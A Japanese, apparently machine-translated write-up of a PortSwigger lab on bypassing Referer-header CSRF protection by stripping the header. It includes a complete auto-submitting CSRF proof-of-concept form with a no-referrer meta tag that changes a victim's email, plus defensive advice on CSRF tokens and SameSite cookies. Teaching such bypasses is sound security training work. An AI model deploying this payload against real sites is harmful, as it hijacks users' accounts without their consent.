ソース：
訳：
リファラー ヘッダーをチェックすると、サーバーが外部サイトから発信されたリクエストをフィルターで除外するのにこれらのヘッダーが役立つため、CSRF から保護され。
このように CSRF 脆弱性を確認すると、リファラーベースの CSRF 保護を備えたエンドポイントを除外するのに役立ち。
ただし、開発者は、リファラー ヘッダーは攻撃者によって操作される可能性があり、確実な緩和ソリューションではないことを覚えておく必要があります。
開発者は、最良の保護を実現するために、CSRF トークンと SameSite セッション Cookie の組み合わせを実装する必要があります。
リファラーとは何ですか?
リファラーは、HTTP リクエストで確認できる HTTP ヘッダーで。
ユーザーが Web サイト上のリンクをクリックするかフォームを送信すると、通常、ブラウザーは後続のリクエストに Referer ヘッダーを組み込み、リファラー ページに関する情報を提供します。
これは、Web サイトがトラフィックの発信元を追跡したり、ナビゲーション目的で使用したりするのに役立ちます。
下の画像を見てみましょう
ヘッダー URL を変更すると 400 Bad Request がスローされます
ここで、リファラーベースのヘッダーのバイパス手法を見てみましょう。ここでは、portswigger lab を使用してこの手法を説明しました。
バイパス技術
最初の手法は、リファラー ヘッダーが利用できない場合、ヘッダーが有効ではない場合があるため、リクエストからリファラー ヘッダーを削除することです。
ラボ: リファラー検証が存在するヘッダーに依存する CSRF
このラボには、リファラー ヘッダー検証を使用して電子メールを更新する電子メール更新機能があります。
ここでは、ヘッダーが利用できない場合、一部のアプリケーションは検証をスキップするため、リファラーヘッダーを削除します。
ステップ 1: デフォルトのユーザー名とパスワードを使用してログイン
ステップ 2: メール ID を更新し、ゲップ要求をキャプチャし
ステップ 3: リピーターに送信し、リファラー ヘッダーを削除する
これで 302 応答が確認できるようになり、動作するようになりました。
burpsuite pro を使用して CSRF POC を再生成しましょう。
ステップ 4: CSRF Poc ドラフトにメタ タグを追加する
<meta name="referrer" content="no-referrer">
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a3000a003413c8d81a4393d003d00d6.web-security-academy.net/my-account/change-email" method="POST">
<meta name="referrer" content="no-referrer">
<input type="hidden" name="email" value="hacked@gmail.htb" />
<input type="submit" value="Submit request" />
<script>
document.forms[0].submit();
</script>
</form>
</body>
</html>
ステップ 5: それをエクスプロイト サーバーに保存し、被害者に配信し。
これでラボは解決されました
CSRF のアプリケーションをテストしているときに、検証としてリファラー ヘッダーが表示された場合は、それを削除し、リファラーなしのメタ タグを付けて送信します。
ほなほな。
